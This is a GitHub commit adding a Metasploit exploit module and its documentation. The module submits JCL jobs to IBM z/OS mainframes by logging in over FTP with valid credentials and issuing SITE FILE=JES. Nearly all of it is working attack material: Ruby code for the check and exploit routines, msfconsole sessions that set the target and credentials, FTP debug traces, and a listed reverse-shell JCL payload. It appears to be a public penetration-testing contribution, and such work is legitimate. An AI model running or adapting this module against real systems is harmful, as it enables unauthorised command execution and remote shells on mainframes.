-
Notifications
You must be signed in to change notification settings - Fork 13.9k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
This exploit module allows a user with credentials to execute JCL on a vulnerable mainframe system running z/OS and an appropriately configured FTP server.
- Loading branch information
1 parent
2a91a87
commit 2d5cf6c
Showing
2 changed files
with
208 additions
and
0 deletions.
There are no files selected for viewing
108 changes: 108 additions & 0 deletions
108
documentation/modules/exploit/mainframe/ftp/ftp_jcl_creds.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,108 @@ | ||
z/OS JCL authorized FTP-base command execution - hints & tips | ||
|
||
In order to use this exploit, you must have valid credentials on the target z/OS system. The credentials must have access to upload files via FTP. If in doubt, use the check function of the exploit. | ||
|
||
## Vulnerable Application | ||
|
||
This exploit was tested on the ftp daemons for z/OS version 1.13 / 2.1 | ||
|
||
## Payloads | ||
|
||
If the exploit works, any JCL the user has rights to submit can be submitted. | ||
|
||
See cmd type payloads under mainframe with jcl in the payload name, e.g.: | ||
|
||
``` | ||
msf exploit(ftp_jcl_creds) > show payloads | ||
Compatible Payloads | ||
=================== | ||
Name Disclosure Date Rank Description | ||
---- --------------- ---- ----------- | ||
cmd/mainframe/generic_jcl normal Generic JCL Test for Mainframe Exploits | ||
cmd/mainframe/reverse_shell_jcl normal Z/OS (MVS) Command Shell, Reverse TCP | ||
``` | ||
|
||
## Verification Steps | ||
|
||
A successful check of the exploit will look like this: | ||
|
||
``` | ||
msf exploit(ftp_jcl_creds) > set FTPUSER ftptest | ||
FTPUSER => ftptest | ||
msf exploit(ftp_jcl_creds) > set FTPPASS password | ||
FTPPASS => password | ||
msf exploit(ftp_jcl_creds) > set RHOST 10.10.10.1 | ||
RHOST => 10.10.10.1 | ||
msf exploit(ftp_jcl_creds) > info | ||
Name: FTP JCL Execution | ||
Module: exploit/mainframe/ftp/ftp_jcl_creds | ||
Platform: Mainframe | ||
Privileged: No | ||
License: Metasploit Framework License (BSD) | ||
Rank: Normal | ||
Disclosed: 2013-05-12 | ||
Available targets: | ||
Id Name | ||
-- ---- | ||
0 auto | ||
Basic options: | ||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
FTPPASS password no The password for the specified username | ||
FTPUSER ftptest no The username to authenticate as | ||
RHOST 10.10.10.1 yes The target address | ||
RPORT 21 yes The target port | ||
SLEEP 5 no Time to wait before checking if job has completed. | ||
Payload information: | ||
Description: | ||
Submit JCL to z/OS via FTP and SITE FILE=JES. This exploit requires | ||
valid credentials on the target system | ||
msf exploit(ftp_jcl_creds) > check | ||
[+] 10.10.10.1:21 - Successfully connected to FTP server. | ||
[*] 10.10.10.1:21 - Found IBM z/OS Banner and JES commands accepted | ||
[+] The target is vulnerable. | ||
msf exploit(ftp_jcl_creds) > | ||
``` | ||
|
||
|
||
## Debugging | ||
|
||
If the exploit or check is not working, turn on the VERBOSE and FTPDEBUG settings of the exploit and run. | ||
The output should look similar to the below, on a vulnerable system. | ||
|
||
``` | ||
msf exploit(ftp_jcl_creds) > set FTPDEBUG true | ||
FTPDEBUG => true | ||
msf exploit(ftp_jcl_creds) > set VERBOSE true | ||
VERBOSE => true | ||
msf exploit(ftp_jcl_creds) > check | ||
[*] 10.10.10.1:21 - Connecting to FTP server 10.10.10.1:21... | ||
[*] 10.10.10.1:21 - FTP recv: "220-FTPD1 IBM FTP CS V2R1 at ZOS.EXAMPLE.COM, 16:52:31 on 2016-04-27.\r\n220 Connection will close if idle for more than 5 minutes.\r\n" | ||
[*] 10.10.10.1:21 - Connected to target FTP server. | ||
[*] 10.10.10.1:21 - Authenticating as ftptest with password password... | ||
[*] 10.10.10.1:21 - FTP send: "USER ftptest\r\n" | ||
[*] 10.10.10.1:21 - FTP recv: "331 Send password please.\r\n" | ||
[*] 10.10.10.1:21 - Sending password... | ||
[*] 10.10.10.1:21 - FTP send: "PASS password\r\n" | ||
[*] 10.10.10.1:21 - FTP recv: "230 FTPTEST is logged on. Working directory is \"FTPTEST.\".\r\n" | ||
[+] 10.10.10.1:21 - Successfully connected to FTP server. | ||
[*] 10.10.10.1:21 - FTP send: "site file=jes\r\n" | ||
[*] 10.10.10.1:21 - FTP recv: "200 SITE command was accepted\r\n" | ||
[*] 10.10.10.1:21 - Found IBM z/OS Banner and JES commands accepted | ||
[+] The target is vulnerable. | ||
msf exploit(ftp_jcl_creds) > | ||
``` | ||
|
||
## Notes | ||
|
||
The job run will leave a joblog for the credentials used. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,100 @@ | ||
require 'msf/core' | ||
require 'msf/core/exploit/tcp' | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = NormalRanking | ||
|
||
include Msf::Exploit::Remote::Ftp | ||
include Msf::Exploit::Remote::Tcp | ||
|
||
def initialize(info = {}) | ||
super(update_info( | ||
info, | ||
'Name' => 'FTP JCL Execution', | ||
'Description' => %q{(Submit JCL to z/OS via FTP and SITE FILE=JES. | ||
This exploit requires valid credentials on the target system)}, | ||
'Author' => | ||
[ | ||
'Bigendian Smalls', | ||
'mainframed a.k.a. soldier of fortran', | ||
'S&Oxballs a.k.a. chiefascot' | ||
], | ||
'Arch' => ARCH_CMD, | ||
'License' => MSF_LICENSE, | ||
'Platform' => ['mainframe'], | ||
'Privileged' => false, | ||
'Targets' => [['Automatic', {}]], | ||
'DisclosureDate' => 'May 12 2013', | ||
'DisableNops' => 'true', | ||
'DefaultTarget' => 0 | ||
)) | ||
|
||
register_options( | ||
[ | ||
Opt::RPORT(21), | ||
OptInt.new('SLEEP', [ false, "Time to wait before checking if job has completed.", 5 ]) | ||
], self.class | ||
) | ||
end | ||
|
||
def check | ||
## | ||
# Connect to get the FTP banner and check target OS | ||
## | ||
if !connect_login | ||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failed to connect to FTP server") | ||
else | ||
print_good("Successfully connected to FTP server.") | ||
end | ||
test_jes = send_cmd(['site', 'file=jes']) | ||
|
||
# Disconnect and check cached self.banner | ||
disconnect | ||
|
||
## | ||
# Check if the target system has an FTP server running on z/OS" | ||
## | ||
case banner | ||
when /IBM FTP CS V.R./ | ||
case test_jes | ||
when /200 SITE/ | ||
print_status("Found IBM z/OS Banner and JES commands accepted") | ||
return Exploit::CheckCode::Vulnerable | ||
else | ||
print_status("Found IBM z/OS Banner but SITE FILE=JES failed. Try anyway!") | ||
return Exploit::CheckCode::Detected | ||
end | ||
|
||
## | ||
# Return the Safe flag if system is not exploitable | ||
## | ||
else | ||
print_status("We could not recognize the server banner: #{banner.strip}") | ||
return Exploit::CheckCode::Safe | ||
end | ||
end | ||
|
||
## | ||
# Exploit the target system by submitting a JCL job via FTP | ||
## | ||
def exploit | ||
if !connect_login | ||
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Failed to connect to FTP server") | ||
else | ||
print_good("Successfully connected to FTP server.") | ||
end | ||
|
||
send_cmd(['site', 'file=jes']) | ||
print_status("Successfully switched to JES mode") | ||
|
||
jcl_file_name = "#{Rex::Text.rand_text_alpha(8).upcase}" | ||
print_status("Uploading JCL file: #{jcl_file_name}") | ||
|
||
res = send_cmd_data(['put', jcl_file_name], payload.encoded) | ||
job_num = res.lines.first.split.last | ||
print_good("Job Submitted. Job number is #{job_num}") | ||
|
||
handler | ||
disconnect | ||
end | ||
end |